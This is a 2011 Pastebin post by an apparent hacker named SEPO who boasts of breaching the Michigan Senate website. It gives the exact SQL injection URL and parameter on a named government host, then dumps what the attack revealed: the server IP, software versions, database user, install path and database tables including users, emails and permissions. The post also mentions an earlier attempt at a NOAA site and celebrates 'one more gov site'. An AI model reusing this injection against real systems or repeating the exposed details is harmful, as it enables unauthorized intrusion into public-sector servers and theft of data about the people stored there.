sepo

www.senate.mi.gov hacked by SEPO

Oct 10th, 2011
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. http://www.nws.noaa.gov/ - did I release it? ok, let's try it later... Now let's take a look at http://www.senate.mi.gov.
  2.  
  3. WTF? http://www.senate.mi.gov/dem/sentable.php?q=sd&zip=%00' yAHHHHHHHHHooooo!!!! SQLi!!! Let's take a look!
  4.  
  5. Host IP: 198.109.173.21
  6. Web Server: Microsoft-IIS/6.0
  7. Powered-by: ASP.NET
  8. Powered-by: PHP/5.2.5
  9. DB Server: MySQL error based
  10. Resp. Time(avg):179 ms
  11. Current User: demwebuser@localhost
  12. Sql Version: 5.0.45-community-nt
  13. Current DB: demweb
  14. System User: demwebuser@localhost
  15. Host Name: SenateWeb
  16. Installation dir: C:\Program Files\MySQL\MySQL Server 5.0
  17. DB User: 'demwebuser'@'%'
  18. Data Bases: information_schema
  19. demweb
  20. Table Name:
  21. blog_comments
  22. blog_main
  23. blog_media
  24. bloglink
  25. cbpetition
  26. contact
  27. dist_zip
  28. emails
  29. extrapages
  30. fspetition
  31. issue
  32. issuelink
  33. media
  34. medialink
  35. news
  36. newslink
  37. permissions
  38. permlink
  39. petition
  40. poll_ans
  41. poll_ques
  42. pubs
  43. pubslink
  44. removeenews
  45. senateimg
  46. senateimglink
  47. senators
  48. senpages
  49. tupacwp
  50. users
  51.  
  52. I think it's greate! One more gov site!
  53.  
  54.  
Add Comment
Please, Sign In to add comment